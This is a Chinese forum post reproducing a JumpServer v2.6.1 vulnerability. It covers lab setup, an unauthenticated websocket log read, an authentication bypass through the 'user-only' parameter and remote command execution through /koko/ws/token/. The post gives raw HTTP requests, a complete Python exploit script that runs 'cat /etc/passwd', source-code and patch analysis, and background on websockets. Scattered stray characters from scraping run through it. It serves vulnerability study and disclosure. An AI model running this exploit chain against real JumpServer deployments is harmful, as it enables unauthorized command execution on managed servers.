易陆发现互联网技术论坛

 找回密码
 开始注册
查看: 444|回复: 1
收起左侧

jumpserver安装使用,远程应用工具

[复制链接]
发表于 2023-3-7 15:00:04 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?开始注册

x
下载安装包
# git clone https://github.com/jumpserver/installer.git# cd installer?
国内docker源加速安装
# export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn# ./jmsctl.sh install
升级到指定版本
# ./jmsctl.sh upgrade v2.6.1
启动服务
#?./jmsctl.sh start#?./jmsctl.sh restart

9 `5 G1 n- E! G! Z9 `0 P( N4 v                               
登录/注册后可看大图
环境配置
Jumpserver v2.6.1版本,访问服务正常,默认管理员账户admin/admin,初次登录须改密码。

% n3 W9 Z- `, f6 B* ~$ U                               
登录/注册后可看大图
1.添加管理用户。
资产管理里面的"管理用户"是jumpserver用来管理资产需要的服务账户,Jumpserver使用该用户来 '推送系统用户'、'获取资产硬件信息'等。
; y: o0 b  I5 {  Y6 A5 u3 m
                               
登录/注册后可看大图
2.“资产列表”中添加资产
8 |( o; L; b- ?$ k, B* L. [
                               
登录/注册后可看大图
测试资产可连接性,保证资产存活

+ a7 [) d$ b2 W* w% Z1 e2 o- c                               
登录/注册后可看大图
6 V) a# l! p( h- S' r, b6 g
                               
登录/注册后可看大图
3.创建系统用户
系统用户是 Jumpserver 跳转登录资产时使用的用户,可以理解为登录资产的用户。
. w! z+ T- b1 e( O) Q
                               
登录/注册后可看大图
配置“登录方式”为自动登录
6 J) u4 l: t. t; s& J
                               
登录/注册后可看大图
4.创建资产授权
1 U; b: ^2 P0 l5 y* L
                               
登录/注册后可看大图
5.使用“Web终端”连接资产
为保证漏洞复现顺利进行,需要在Web终端中连接某资产。

# D* V9 m  U) [                               
登录/注册后可看大图
Web终端以root用户名登录机器。
若配置的登录模式为“手动登录”,所以需要输入密码进行连接。

( l, @$ b- Z9 u9 h2 j6 T. A                               
登录/注册后可看大图
"自动登录"则可调用系统预留密码直接连接。
5 ~2 _3 c& h- m1 w8 J
                               
登录/注册后可看大图
0x02漏洞利用日志文件读取
系统中/ws/ops/tasks/log/接口无身份校验,可直接与其建立websocket连接,当为“task”参数赋值为具体文件路径时,可获取其文件内容。系统接收文件名后会自动添加.log后缀,所以只能读取.log类型的日志文件。
默认/opt/jumpserver/logs/ 下存放日志文件,包含jumpserver.log、gunicorn.log、dapgne.log等。
1 N- X) n- T7 s* [
                               
登录/注册后可看大图
gunicorn是常用的WSGI容器之一,用来处理Web框架和Web服务器之间的通信,gunicorn.log是API调用历史记录比较全的日志文件。
利用/ws/ops/tasks/log/接口查看/opt/jumpserver/logs/gunicorn.log文件内容,由于系统会自动添加.log后缀,故无须添加文件后缀,目标路径为 "/opt/jumpserver/logs/gunicorn" 即可。
ws://192.168.18.182:8080/ws/ops/tasks/log/{"task":"/opt/jumpserver/logs/gunicorn"}

0 T) s. ^- G+ Z+ \6 W                               
登录/注册后可看大图
在日志中寻找有用数据,其中/api/v1/perms/asset-permissions/user/validate接口的请求记录值得注意,这个API是用来验证用户的资产控制权限的。由于web终端连接资产时会对用户所属资产权限进行校验,调用了这个接口,故会留下日志记录。其中asset_id、system_user_id、user_id参数值可以被利用。
asset_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0fsystem_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73user_id=f26371c9-18c3-4c4e-979f-95d34ffdb911认证绕过+获取token
/api/v1/authentication/connection-token/接口和/api/v1/users/connection-token/接口均可通过user-only参数绕过权限认证。
两接口对数据的处理逻辑一致,其中post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,收到合法请求会将这个token返回。
5 W' A4 L1 |/ b* ]
                               
登录/注册后可看大图
上文从日志中获取到的三个参数值可以用在这里,分别赋值给post请求要求的data中的"user"、"asset"、"system_user"参数,同时在URL中添加user-only参数来绕过认证,最终获得一个20s有效期的token。
POST /api/v1/authentication/connection-token/?user-only=Veraxy HTTP/1.1Host: 192.168.18.182:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: csrftoken=GsRQYej2Fr3uk3xU9OPfZREl8Wn7xCXPqLSWQGIILIk7uz7izdqojUgYQ5UhG04j; jms_current_role=146; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7DUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 133user=f26371c9-18c3-4c4e-979f-95d34ffdb911&asset=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&system_user=a893cb8f-26f7-41a8-a983-1de24e7c3d73

! i6 C: d) T* X8 u: G, k* z3 ?                               
登录/注册后可看大图
上图请求接口替换成/api/v1/users/connection-token/达到的目的一样
  ^; @. d' a0 u8 u  V
                               
登录/注册后可看大图
远程命令执行
系统/koko/ws/token/接口要求"target_id"参数,携带合法"target_id"参数即可利用该接口建立TTY通信。
5 ?: i, z. u7 H$ _; h  e
                               
登录/注册后可看大图
上文通过/api/v1/authentication/connection-token/接口获得的20s有效期的token可作为/koko/ws/token/接口的有效"target_id"参数值,从而建立websocket会话。
ws://192.168.18.182:8080/koko/ws/token/?target_id=0a14ec3d-312f-44e0-8224-da1a4151f32e
7 @$ W/ y9 Z5 i# b3 t8 T
                               
登录/注册后可看大图
借助脚本进行websocket通信
import asyncioimport websocketsimport requestsimport jsonurl = "/api/v1/authentication/connection-token/?user-only=None"# 向服务器端发送认证后的消息async def send_msg(websocket,_text):    if _text == "exit":        print(f'you have enter "exit", goodbye')        await websocket.close(reason="user exit")        return False    await websocket.send(_text)    recv_text = await websocket.recv()    print(f"{recv_text}")# 客户端主逻辑async def main_logic(cmd):    print("###start ws")    async with websockets.connect(target) as websocket:        recv_text = await websocket.recv()        print(f"{recv_text}")        resws=json.loads(recv_text)        id = resws['id']        print("get ws id:"+id)        print("#######1########")        print("init ws")        print("#######2########")        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"})        await send_msg(websocket,inittext)        print("########3#######")        print("exec cmd: ls")        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})        print(cmdtext)        await send_msg(websocket, cmdtext)        for i in range(20):            recv_text = await websocket.recv()            print(f"{recv_text}")        print('###finish')if __name__ == '__main__':    host = "http://192.168.18.182:8080"    cmd="cat /etc/passwd"    if host[-1]=='/':        host=host[:-1]    print(host)    data = {"user": "f26371c9-18c3-4c4e-979f-95d34ffdb911", "asset": "fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f",            "system_user": "a893cb8f-26f7-41a8-a983-1de24e7c3d73"}    print("##################")    print("get token url:%s" % (host + url,))    print("##################")    res = requests.post(host + url, json=data)    token = res.json()["token"]    print("token:%s", (token,))    print("##################")    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token    print("target ws:%s" % (target,))    asyncio.get_event_loop().run_until_complete(main_logic(cmd)
成功执行 "cat /etc/passwd" 命令
. {5 V4 f8 u6 \" R( A
                               
登录/注册后可看大图
利用条件
1.web终端登录方式为免密自动连接。
若配置为需要输入密码的手动登录,只有在攻击者已知目标资产登录密码(不现实),或此时系统用户与目标资产的会话连接未中断,从而让攻击者有机会复用SSH会话,漏洞利用成功,显然这种配置下漏洞利用大多失败。
+ }( R# [. }" P( p; W
                               
登录/注册后可看大图
当系统用户退出登录,由于没有可复用会话了,系统要求重新输入密码,否则无法建立连接。漏洞利用失败。

& Y9 r1 s7 [" V) O; u                               
登录/注册后可看大图
只有在系统用户登录模式配置为“自动登录”,即系统用户使用web终端操作时资产无须输入密码
,可直接建立连接(某些情况下需要“自动推送”系统用户至资产才能实现免密连接),这种配置下,该漏洞才可被攻击者稳定利用。
开启自动登录和自动推送。
如果选择了自动推送, Jumpserver 会使用 Ansible 自动推送系统用户到资产中。
6 s# z7 n$ a1 d# i
                               
登录/注册后可看大图
此时连接web终端不需要输入密码了,直接利用系统用户预存的密码建立连接。

- F4 ]5 c* p/ U, y                               
登录/注册后可看大图
这时我中断会话,再次测试,成功执行命令,此时不是复用SSH连接,而是直接连接,建立会话,从而执行命令。

  X$ G: d% U$ }2 B* S2 T                               
登录/注册后可看大图
jumpserver通常的配置都是自动登录的,这一条件容易满足。
2.系统用户在web终端与目标资产建立过连接。
只有系统用户在web终端访问过目标资产,才能在日志中留下访问记录,我们与目标建立连接的必要参数均在日志中获取。
3.系统日志路径已知
系统日志路径默认为/opt/jumpserver/logs,一些项目刻意修改日志路径会使得漏洞难以利用。
攻击流程回顾
1.未授权的情况下通过 /ws/ops/tasks/log/ 接口建立websocket连接,读取日志文件
2.在日志文件中获取到用户、资产字段值、系统用户(user_id、asset_id、system_user_id)
3.携带这三个字段对 /api/v1/authentication/connection-token/ 或/api/v1/users/connection-token/接口发起POST请求(同时借助user-only参数绕过认证),得到一个20S有效期的token
4.通过该token与/koko/ws/token/接口建立websocket连接,模拟Web终端通信,执行命令。

! F1 z  Q/ Z/ W                               
登录/注册后可看大图
0x03漏洞分析日志文件读取
读取日志文件的接口为ws/ops/tasks/log/
% N$ y7 |, @6 _% s/ J
                               
登录/注册后可看大图
分析apps/ops/ws.py#CeleryLogWebsocket,connect()方法定义该接口直接连接,无认证

8 t/ W/ Q! E* a+ i+ E) j* ?                               
登录/注册后可看大图
receive()方法要求请求data要携带task参数,随后会将“task”值传给handle_task()
; [0 ]. r( s/ z; C! H3 P
                               
登录/注册后可看大图
self.handle_task(task_id)
-->self.read_log_file(self,task_id)
-->self.wait_util_log_path_exist(task_id)
--> get_celery_task_log_path(task_id),获取目标文件路径的方法,系统自动为路径末尾添加.log后缀,也就是只能读取到日志文件。
这里也是“task”参数值中的文件路径无须携带.log后缀的原因。
! G  {6 ?- @$ B( b4 [0 y
                               
登录/注册后可看大图
当系统连接资产时,会调用 validatePermission() 方法检查用户是否有权限连接,通过三个参数进行校验,分别为用户ID、资产ID、系统用户ID,三个参数值长期有效,可被进一步利用。
& g! q0 R  I( K+ z
                               
登录/注册后可看大图
0 O0 S2 `9 [, H
                               
登录/注册后可看大图
对应的接口是/api/v1/perms/asset-permissions/user/validate,请求记录均可在日志文件中找到
3 F8 ?: L6 x& s& m5 Y5 l
                               
登录/注册后可看大图
绕过身份验证获取token
apps/authentication/api/auth.py,请求url中存在'user-only'参数且有值,则其权限为AllowAny,即允许访问。

" @7 Y4 l3 Q" t, y# p" h                               
登录/注册后可看大图
分析apps/authentication/api/auth.py#UserConnectionTokenApi类,可处理get、post请求。
get请求处理函数取URL中"token"和"user-only"参数,合法请求会根据token返回user信息。

9 z1 F, q' c1 k- Q                               
登录/注册后可看大图
post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,合法请求会将这个token返回。
+ v6 a7 P/ H; F  t4 m  R  j# u4 ]
                               
登录/注册后可看大图
apps/authentication/api/auth.py#UserConnectionTokenApi类有哪些地方使用,共两处

& J9 J& \' |7 _" G' P                               
登录/注册后可看大图
刚好是官方公布的接口,这两个接口数据处理逻辑一致,所以利用的时候两者均可得到token。
/api/v1/authentication/connection-token//api/v1/users/connection-token/
Web Terminal 前端项目 luna/src/app/services/http.ts 中有对/api/v1/users/connection-token/接口的Get请求代码,这里携带不为空的user-only参数,是为了获取token对应的用户身份所有信息而不是单个字段。 https://github.com/jumpserver/luna/blob/6e1f04901ecc466a9412ca995810595497e93625/src/app/services/http.ts

$ z, R- c( G6 c' g6 Z, m4 Z2 D                               
登录/注册后可看大图
websocket建立TTY终端会话
这个漏洞是通过websocket通信建立TTY终端,从而执行命令。
JumpServer中KoKo项目提供 Web Terminal 服务,分析系统中可建立TTY会话的几种方式。
建立TTY会话主要通过koko/pkg/httpd/webserver.go中runTTY() 实现

, F% ~/ F$ @& j                               
登录/注册后可看大图
只有两个接口可以进入runTTY()方法,分别是processTerminalWebsocket和processTokenWebsocket方法
  b0 c% i5 [* \% f9 P
                               
登录/注册后可看大图
对应API为/koko/ws/terminal/ 和 /koko/ws/token/ ,接口handler位于koko/pkg/httpd/webserver.go#websocketHandlers()
4 b8 n/ F% B7 P) b8 z4 |3 i4 T
                               
登录/注册后可看大图
/koko/ws/terminal/
系统中通过“会话管理”下“web终端”功能连接资产时,使用的是 /koko/ws/terminal/ 接口

) l8 d# Y* }; k+ B6 O                               
登录/注册后可看大图
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
进行websocket通信

: J6 P: a& z" @                               
登录/注册后可看大图
processTerminalWebsocket函数处理 /koko/ws/terminal/ 接口,要通过这个接口成功登录控制台需要一些必备参数,包括type、target_id、system_user_id,其中target_id为目标资产ID,system_user_id表示系统用户id。
注意:/koko/ws/terminal/ 接口的target_id与/koko/ws/token/ 接口的target_id虽然参数名一样,但却是两个完全不同的东西。
# j3 S6 s& n5 D  `1 _1 J3 q
                               
登录/注册后可看大图
系统对 /koko/ws/terminal/ 接口通过?middleSessionAuth() 进行会话合法校验。
注意到 /koko/ws/token/ 接口却是无此类限制的。
5 V) |6 [! h7 r' Q3 n
                               
登录/注册后可看大图
/koko/ws/token/
/koko/ws/token/ 接口的处理函数位于koko/pkg/httpd/webserver.go#processTokenWebsocket,要求get请求携带“target_id”参数,系统会将该参数传递给 service.GetTokenAsset() 方法,获取token对应的user,从而建立TTY会话。
9 q5 A; P( S* e$ w
                               
登录/注册后可看大图
发现 GetTokenAsset() 是将“/api/v1/authentication/connection-token/?token=”与token值进行拼接,并发起Get请求,来获取用户身份的。

. e) G! T9 d6 X* C' Y& E3 U                               
登录/注册后可看大图

2 @9 f# L% r5 Y2 A- }                               
登录/注册后可看大图
上文分析过 /api/v1/authentication/connection-token/ 接口,Get请求处理函数中定义,若仅携带有效token,则返回该用户所有信息,若同时携带token和不为None的user-only,则返回用户信息中的'user'字段值。

9 I3 k) {$ D; U6 N" P                               
登录/注册后可看大图
本次通信则是仅携带有效token,从而获取该用户所有身份信息。
8 T9 z$ P* ^8 m- O  c
                               
登录/注册后可看大图
综上,一个有效的“target_id”即可调用/koko/ws/token/ 接口进行websoket通信,从而建立TTY会话。
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"CONNECT","data":""}{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"TERMINAL_INIT","data":"{\"cols\":140,\"rows\":6}"}

( n2 b8 I. f9 V  b. |                               
登录/注册后可看大图
而这个有效的“target_id”则通过上一章节“身份验证绕过”中分析的 /api/v1/authentication/connection-token/ 或 /api/v1/users/connection-token/接口来获得,需要在20s有效期内将token替换为target_id参数值来使用。
补丁分析
漏洞整体分析下来,最关键的几个点,身份验证绕过以及websocket通信接口无校验,官方发布的新版本对其进行修复。

: T. [) Y$ C# I9 Q                               
登录/注册后可看大图
0x04关于websocket
WebSocket 协议诞生于 2008 年,在 2011 年成为国际标准,WebSocket 同样是 HTML 5 规范的组成部分之一。
HTTP 协议是半双工协议,也就是说在同一时间点只能处理一个方向的数据传输,通信只能由客户端发起,属于单向传输,一般通过 Cookie 使客户端保持某种状态,以便服务器可以识别客户端。
WebSocket的出现,使得浏览器和服务器之间可以建立无限制的全双工通信。WebSocket 协议是全双工的,客户端会先发起请求建立连接,若服务器接受了此请求,则将建立双向通信,然后服务器和客户端就可以进行信息交互了,直到客户端或服务器发送消息将其关闭为止。
WebSocket特点:
1.默认端口是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。
2.可以发送文本,也可以发送二进制数据。
3.没有同源限制,客户端可以与任意服务器通信。
4.协议标识符是ws(如果加密,则为wss)
WebSocket通信
WebSocket并不是全新的协议,而是利用了HTTP协议来建立连接。
) |9 _) B; U3 ^
                               
登录/注册后可看大图
建立连接
客户端请求报文:
GET / HTTP/1.1Upgrade: websocketConnection: UpgradeHost: example.comOrigin: http://example.comSec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==Sec-WebSocket-Version: 13
Connection、Upgrade字段声明需要切换协议为websocket( Y) j- l( C& L
Sec-WebSocket-Key是由浏览器随机生成的,提供基本的防护,防止恶意或者无意的连接。
+ n( H  S4 i" qSec-WebSocket-Version表示 WebSocket 的版本,如果服务端不支持该版本,需要返回一个Sec-WebSocket-Versionheader,里面包含服务端支持的版本号。
服务端的响应报文:
HTTP/1.1 101 Switching ProtocolsUpgrade: websocketConnection: UpgradeSec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=Sec-WebSocket-Protocol: chat
Upgrade消息头通知客户端确认切换协议来完成这个请求;
Sec-WebSocket-Accept是经过服务器确认,并且加密过后的Sec-WebSocket-Key;
Sec-WebSocket-Protocol则是表示最终使用的协议。
注意:Sec-WebSocket-Key/Sec-WebSocket-Accept的换算,其实并没有实际性的安全保障。
进行通信
服务端接收到客户端发来的Websocket报文需要进行解析。
数据包格式

! b1 w3 k  h* g3 L6 c                               
登录/注册后可看大图
Mask位表示是否要对数据载荷进行掩码异或操作。
Payload length表示数据载荷的长度。
Masking-key数据掩码,为防止早期版本的协议中存在的代理缓存污染攻击等问题而存在。
Payload Data为载荷数据。
服务端返回数据时不携带掩码,所以 Mask 位为 0,再按载荷数据的大小写入长度,最后写入载荷数据。
心跳
WebSocket为了保持客户端、服务端的实时双向通信,需要确保客户端、服务端之间的TCP通道没有断开。对于长时间没有数据往来的通道,但仍需要保持连接,可采用心跳来实现。
发送方->接收方:ping
接收方->发送方:pong
ping、pong的操作,对应的是WebSocket的两个控制帧,opcode分别是0x9、0xA。
关闭连接
关闭连接标志着服务器和客户端之间的通信结束,标记通信结束后,服务器和客户端之间无法进一步传输消息。
Web Terminal实现
通常所说的Terminal是指的终端模拟器,一般情况下终端模拟器是不会直接与shell通讯的,而是通过pty(Pseudoterminal,伪终端)来实现,pty 是一对 master-slave 设备。
终端模拟器通过文件读写流与 pyt master通讯,pty master再将字符输入传送给pty slave,pty slave进一步传递给bash执行。
Web Terminal则是实现在浏览器展示的终端模拟器,前后端建立WebSocket连接,保证浏览器和后端实时通信。
实现思路:
1.浏览器将主机信息传给后台, 并通过HTTP请求与后台协商升级协议,协议升级完成后, 得到一个和浏览器的web Socket连接通道
& W  T- _$ K9 |$ l0 h2.后台拿到主机信息, 创建一个SSH 客户端, 与远程主机的SSH 服务端协商加密, 互相认证, 然后建立一个SSH Channel0 A  H2 D# w/ G9 n' }! n( C% o( ]
3.后台和远程主机有了通讯的信道,然后后台携带终端信息通过SSH Channel请求远程主机创建一对 pty, 并请求启动当前用户的默认 shell
4 M: O1 K% B0 v4 I2 O! O# c/ ~4 {4.后台通过 Socket连接通道拿到用户输入, 再通过SSH Channel将输入传给pty,pty将这些数据交给远程主机处理后,按照前面指定的终端标准输出到SSH Channel中, 同时键盘输入也会通过SSH Channel发送给远程服务端。/ O& T; {6 Q# B
5.后台从SSH Channel中拿到按照终端大小的标准输出,通过Socket通信将输出返回给浏览器,由此实现了Web Terminal
# E  n$ H! X: ?: y4 U# N
                               
登录/注册后可看大图
JumpServer中websocket通信基于https://github.com/gorilla/websocket项目实现,Web Terminal功能实现思路与上文描述基本一致,这里简述浏览器与后端进行websocket通信流程。

7 Y2 W$ l% h6 N5 F  K9 d                               
登录/注册后可看大图
携带多个参数对 /koko/ws/terminal/ 接口发起Get请求,初次握手,提出Upgrade为Websocket协议
GET ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73 HTTP/1.1Host: 192.168.18.182:8080Connection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Upgrade: websocketOrigin: http://192.168.18.182:8080Sec-WebSocket-Version: 13Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: csrftoken=0ZhWpozQIlm3fpJZRKP0vWcEm32JOlSSbtTBYmqlnHgrSwlMgXdJW0hnx4qJrT5s; sessionid=lbfnuoizl0mnixrwyo036ze65z7vfip0; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146Sec-WebSocket-Key: Cuf/c4n9TH20PU4HpCP4qQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: JMS-KOKO
服务端识别有效字段,回应握手请求,同意upgrade为websocket协议,允许后续进行socket通信。
HTTP/1.1 101 Switching ProtocolsServer: nginxDate: Mon, 01 Feb 2021 17:29:47 GMTConnection: upgradeUpgrade: websocketSec-WebSocket-Accept: zdg0gD/H5Ev4u9hn5oIxlSVdvDg=Sec-WebSocket-Protocol: JMS-KOKO
注意到使用web终端功能时,系统主要发起两个请求,分别是
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73http://192.168.18.182:8080/koko/ ... 8-a983-1de24e7c3d73

" g" G3 j0 c9 G5 G                               
登录/注册后可看大图
实际进行sokcet通信的是/koko/ws/terminal/接口,/koko/terminal/接口是协调处理sokcet通信输入输出的数据,将结果与前端融合并展示给用户,提供一个可视终端的效果。

. i6 R, a) S# O$ [1 x& A; ~                               
登录/注册后可看大图
Websocket认证
即使用户经过了系统的认证,当与WebSocket接口进行socket连接时,同样需要再次认证。
一般Websocket的身份认证都是发生在握手阶段,客户端向验证请求中的内容,只允许经过身份验证的用户建立成功的Websocket连接。
可以通过基于cookie的传统方式,或基于Token的方式进行认证。
传统的基于cookie的方式
采用这种方式,应用本身的认证和提供WebSocket的服务,可以是同一套session cookie的管理机制,也可以WebSocket服务接口自己来维护基于cookie的认证。
Jumpserver系统Web终端的功能,调用的/koko/ws/terminal/接口就是采用这种方式。
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73

- ]' a6 k9 N1 S  K: `' y                               
登录/注册后可看大图
请求URL中携带的参数值 target_id、type、system_user_id 基本长期复用,接口主要依靠建立会话传送的Cookie来识别身份,这里的session cookie的管理机制与系统是共享的。
基于Token的方式
当客户端要与接口建立连接时,向http服务获取token,客户端作为初始握手的一部分携带有效token打开websocket连接,服务端验证token有效性合法性,认证通过则同意建立websocket会话连接。
漏洞执行命令利用的/koko/ws/token/接口采用的就是基于token方式进行认证
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
接口取target_id参数值,识别参数值有效性及对应用户身份,认证通过则同意建立websocket连接。
6 |' n! `! N( s+ Z* B! w" w, o
                               
登录/注册后可看大图
认证方式对比
传统基于cookie的方式,若websocket接口与系统协调同一种共享的认证方式,造成websocket服务与应用服务的耦合性大,依赖性强。若websocket服务自己维护基于cookie的认证,它只是一个解决通信连接的服务,为此付出成本不小。综上,还是采用基于token的认证方式更加高效。
采用基于token的认证方式则需要考虑提供token服务的API安全性,如本文分析的漏洞,提供token的/connection-token接口存在认证绕过问题,攻击者通过绕过/connection-token接口的身份验证,获取token,在有效时间内可与目标建立websocket连接。
0x05利用工具编写思路
1.读取日志
根据上文漏洞利用的流程,需要先通过未授权的/ws/ops/tasks/log/接口读取日志文件/opt/jumpserver/logs/gunicorn.log ,其中包含大量的接口请求记录,我们需要提取/api/v1/perms/asset-permissions/user/validate/ 接口信息。

  z$ D  K) J8 G+ N7 p4 ?- ?; j                               
登录/注册后可看大图
2.筛选可用资产
日志文件中提取出的数据为历史连接记录,但不一定可以被利用,需要对其进行连接测试,筛选出可被利用的资产。
2 i4 o; j2 E) y, C7 _/ u8 K
                               
登录/注册后可看大图
3.执行命令
在可用资产列表中选择目标进行攻击,执行指定命令。

/ Q7 L/ L6 |9 J# Q1 \1 \  W                               
登录/注册后可看大图
总结
1.通过未授权的 /ws/ops/tasks/log/ 接口读取日志文件,我们仅筛选了部分接口信息,日志中包含大量数据,还有更多利用价值。+ B8 ?6 j! O8 R$ F& e
2.官方给出的漏洞影响版本不准确,部分版本由于接口认证方式问题不可被利用。
5 h) f) _$ |/ F# x$ A5 _3.根据实际场景不同,漏洞利用工具还须继续改进,欢迎提出改进建议。
: N8 y; |. V' F: _
 楼主| 发表于 2023-3-7 15:00:05 | 显示全部楼层
下载安装包& C" P! y$ Z5 D' ]
" f2 I  f( x) {  `; O+ b7 Q
# git clone https://github.com/jumpserver/installer.git  h/ Y# L4 \9 n6 P
# cd installer?
. _* T: X5 j* q3 l0 j国内docker源加速安装  l- k5 \; w% Z# o3 w( K& }' s

3 S8 C6 N* M5 R! _# export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn
$ q7 n, W5 b7 F# ./jmsctl.sh install
9 Q  H3 l9 U9 d, S# Z. X升级到指定版本& [& D3 D7 O! W; w$ D/ a5 i

8 ^, t. C' g' ?. t# ./jmsctl.sh upgrade v2.6.15 f- w2 v& K1 e; f/ Y) Z
启动服务( C( D: ?2 L7 w5 k  i) w

$ H6 t* ^* }+ \" \( W1 J#?./jmsctl.sh start
; a, X. }; Y8 K- U+ w) R#?./jmsctl.sh restart
" V3 T, F9 d  m: F. g3 L+ q/ F% A图片# Q' U' |5 o# W5 V4 F' l: l

: z% ~8 o" V  Q+ h环境配置
' A# z5 m0 }8 W* w# w: JJumpserver v2.6.1版本,访问服务正常,默认管理员账户admin/admin,初次登录须改密码。
6 n' P3 v, l$ }" F& Q  s7 T/ @3 R; Q
, V* e; A/ _: K# K; c5 ?+ I图片' z+ d% R0 N! i: J4 `
" g3 v7 Z4 Q$ ^& _' n0 O, J
1.添加管理用户。, M% [0 Q* w" A* s% N

9 N2 n" i5 x) Y, q资产管理里面的"管理用户"是jumpserver用来管理资产需要的服务账户,Jumpserver使用该用户来 '推送系统用户'、'获取资产硬件信息'等。4 j5 n* c: G; z8 f' O( y  F. L
* }. E7 o0 ~, F& S3 C
图片; l# ~# b% b. }0 s

0 N; M9 g9 W1 S; y7 f# \2.“资产列表”中添加资产. y- ^  ^4 Z4 N7 M, M& @
7 U& ]5 V. L! z. G! B9 {
图片
. u2 I- M! F+ K3 m3 J' z
& ~8 P( Y( ^1 O! U  q8 A测试资产可连接性,保证资产存活
* Z5 s1 o; Y' @& R% c& B$ ]4 ]: ^+ n7 g6 t
图片
! B1 i0 s0 _3 J
& S* m& M& ^4 G3 z# H图片
9 K& ]& X3 ~' [5 U* Q! Q; J# M5 V# t2 x& J
3.创建系统用户6 N$ t# u. ^: ~3 S8 {5 c
  H# A$ y3 Y7 s4 _$ N
系统用户是 Jumpserver 跳转登录资产时使用的用户,可以理解为登录资产的用户。) d" @2 ^+ u9 C; ~& O$ r: S
% l7 }+ J! t! q+ {2 X  F. n) y( r
图片; L7 F# t0 K& M) J% X( T
6 F9 H. t1 ^7 @( \
配置“登录方式”为自动登录+ v& v/ t0 ]! C8 e
1 u! U6 J( F' m. j
图片
9 q9 d  F3 \0 i  R
/ O. K" ?; @4 m/ j' ?9 ?# P9 P4.创建资产授权
* l' T+ ]$ A3 \9 T8 G3 |" _
2 K$ j. m( w: N* u4 H图片
& J6 n9 b7 h! Q' M$ `# X; D: [* Z+ H" r6 q$ }  t5 ~
5.使用“Web终端”连接资产+ u. ^4 o6 Z( I
4 \# ]2 T* |- a% O9 C. g" R* z8 p
为保证漏洞复现顺利进行,需要在Web终端中连接某资产。# r! h) H9 F/ ?7 |+ w, C' a2 F$ X

" r' C- ]% {; }9 p! f4 I图片6 @+ D/ k) ?; a! H* z, Z/ ?0 m

  u4 |0 |3 U; \7 @+ lWeb终端以root用户名登录机器。: M2 h' Z7 m  V; E4 C

% [5 j8 l( F5 w( q7 e/ ~6 _若配置的登录模式为“手动登录”,所以需要输入密码进行连接。
8 w$ ]# X- P) H, ]; j7 ]  M4 l; x7 h; }8 `/ v
图片
/ ^# Z- \6 H  Y/ a2 c$ z; m9 W$ ]+ o6 `" T; B
"自动登录"则可调用系统预留密码直接连接。, ^* v' s* [+ X" a& V

1 ?) Q+ ~( n. L  w" {* o& U* M. W: O0 `图片
! [% R" n; u* N7 U& r" M& o& \* _& ?( L8 l
0x02漏洞利用
. `' J" ^; f9 J, T# V% Y3 [日志文件读取
5 w" `5 S6 N' M7 }系统中/ws/ops/tasks/log/接口无身份校验,可直接与其建立websocket连接,当为“task”参数赋值为具体文件路径时,可获取其文件内容。系统接收文件名后会自动添加.log后缀,所以只能读取.log类型的日志文件。- i/ a$ u8 E9 {9 c0 V; o* L
6 v) V* o3 U% y9 B+ v
默认/opt/jumpserver/logs/ 下存放日志文件,包含jumpserver.log、gunicorn.log、dapgne.log等。
# V6 |% ?) w, a5 O5 E+ \$ R! m- K6 Z
图片$ Q% F3 r) S: p( l9 L' Z' F9 `

